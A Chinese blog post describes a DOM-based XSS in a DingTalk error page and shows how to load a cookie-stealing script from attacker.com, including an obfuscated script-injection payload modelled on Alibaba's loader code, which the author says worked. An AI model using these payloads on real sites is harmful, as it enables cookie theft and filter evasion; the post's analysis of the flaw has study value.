做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:

  题外话1:

    查看源码,复制其中的代码:

try {var search = location.search;if (search && search.length > 1 && search.charAt(0) === '?') {search = search.substr(1);var pairs = search.split('&');var kv = {};for (var i in pairs) {var parts = pairs[i].split('=');if (parts && parts.length > 1) {kv[parts[0]] = parts[1];}}}var errcode = kv['errcode'];var errmsg = kv['errmsg'];if (errcode) {var divCode = document.getElementById('code');if (divCode) {divCode.innerHTML += ('errcode: ' + errcode);}}if (errmsg) {var divMsg = document.getElementById('msg');if (divMsg) {divMsg.innerHTML += ('errmsg: ' + errmsg);}}}catch (e) {console.log(e);}

  关键部分是:

    

  写入errcode和errmsg到divCode和divMsg中。

  其中errcode和errmsg都是我们可控的。

  打开console简单测试下:

    不懂没关系直接做:

      

  

说明我们外部可控,导致这个原因是因为遍历的是location.search

  本地搓个demo:    

只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。。最后做了处理。

    正题:加载第三方js代码:

    刷新钉钉页面:

    

发现加载了一些js链接依赖:

    查看源码,看看他怎么调用的:

    

<body><script>
with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")
</script>
<script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
</script>
<script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
</script>

  相当有意思,不同于以前的,以前我们xss打cookie/外部加载js都是是这样的:

    

<script src="http://attacker.com/xss.js"></script>

  通过阿里加载js的方式,我们可以改造我们的加载方式如下:

      

<script type="text/javascript">with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")
</script>

我们访问网页:

    

直接加载了,查看我们是否接收到:

    

  成功接收成功。

  这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。

      

通过钉钉网页上的js学习xss打cookie相关推荐

  1. php写语音朗读,详解在网页上通过JS实现文本的语音朗读

    摘要: 语音合成:也被称为文本转换技术(TTS),它是将计算机自己产生的.或外部输入的文字信息转变为可以听得懂的.流利的口语输出的技术. 1.接口定义 http://tts.baidu.com/tex ...

  2. 语音朗读html的源码,详解在网页上通过JS实现文本的语音朗读

    摘要: 语音合成:也被称为文本转换技术(TTS),它是将计算机自己产生的.或外部输入的文字信息转变为可以听得懂的.流利的口语输出的技术. 1.接口定义 http://tts.baidu.com/tex ...

  3. 如何在线替换并调试网页上的 JS 代码

    调试代码 使用代理替换代码 在线调试 总结 调试代码 当我们需要调试网页上的 JS 代码时,可以使用 Chrome 游览器上的开发者工具的 Sources 项进行断点调试. 在代码数目栏处点击,即可加 ...

  4. 在别人网页上运行js脚本_初始JavaScript,世界上最流行的语言之一

    1.JavaScript 是什么? JavaScript 是世界上最流行的语言之一,是一种运行在客户端的脚本语言 (Script 是脚本的意思) 脚本语言:不需要编译,运行过程中由 js 解释器( j ...

  5. html 文字输出语音,网页上通过JS实现文本的语音朗读

    1.接口定义 http://tts.baidu.com/text2audio?lan=zh&ie=UTF-8&spd=2&text=你要转换的文字 参数说明: lan=zh:语 ...

  6. 语音朗读html的源码,在网页上通过JS实现文本的语音朗读

    1.接口定义 http://tts.baidu.com/text2audio?lan=zh&ie=UTF-8&spd=2&text=你要转换的文字 参数说明: lan=zh:语 ...

  7. 在网页上通过JS实现文本的语音朗读

    摘要: 语音合成:也被称为文本转换技术(TTS),它是将计算机自己产生的.或外部输入的文字信息转变为可以听得懂的.流利的口语输出的技术. 1.接口定义 http://tts.baidu.com/tex ...

  8. 小妙招,在禁止复制粘贴的网页上复制粘贴内容

    小妙招,在禁止复制的网页上复制内容 有些时候,有些网页,是吧你懂的,想复制或者粘贴东西都不让复制粘贴.虽然有一些现有的插件啥的下载了能够解决,但是不同的网页如果都要下载插件岂不是有点麻烦. 教程 先f ...

  9. 如何在钉钉上开发自己的应用_快速上手——钉钉H5微应用开发接入

    创建钉钉H5应用 顾名思义,钉钉H5应用,和微信WEB应用一样,本质都是一个有前端有后端的网站,由平台本身对网站基础功能进行扩充,提供专用接口满足开发者各式各样的和平台相关的需求.开发者平台:http ...

最新文章

  1. uniapp富文本兼容视频实现方案
  2. Win7封装无损廋身清单
  3. 五分钟学会HTML5!(二)
  4. RebornDB:下一代分布式Key-Value数据库
  5. 设计model层的理念和思路
  6. 如何获取组SPGroup的描述Description信息
  7. IE下var丢失造成的错误
  8. 前端学习(1874)vue之电商管理系统电商系统之处理项目中eslint语法报错
  9. 三、Python第三课——Python中数字的用法及编码原则(Python禅意)
  10. 解决Vista文件操作缓慢问题:五大方案
  11. 一会儿花雨停了的飞鸽传书
  12. RK3288 制作内核开机logo
  13. Windows下编译eXosip、osip,以及UAC和UAS的例子
  14. Linux的压缩相关命令(转载)
  15. 收下这10个终身学习的资源号,Max你的工作效率
  16. 8279c语言编程,可编程键盘/显示接口芯片8279应用浅析
  17. 云盒子linux版本,10分钟,搭建好属于自己的私有云盘系统
  18. 怎样快速将方形图片剪裁成椭圆形?分享大家一个小妙招
  19. C++ 监视检测键盘输入 字符 并打印
  20. python中rest是什么意思_Python REST消耗

热门文章

  1. 离线识别率最高的Python人脸识别系统
  2. 备赛西门子——信息化网络化
  3. elementUI container布局不生效解决办法
  4. android自动修音,唱吧自动修音软件
  5. 使用arduino编写mqtt客户端连接emqx服务器
  6. JMeter学习-010-JMeter 配置元件实例之 - CSV Data Set Config 参数化配置
  7. @图灵不吃苹果 #C++ 人员管理
  8. PC主机主板OEM密钥读取保存工具
  9. 在 WINDOWS CMD 使用 SCP 与 Linux 文件交互
  10. 期货交易python回测_python量化交易历史回测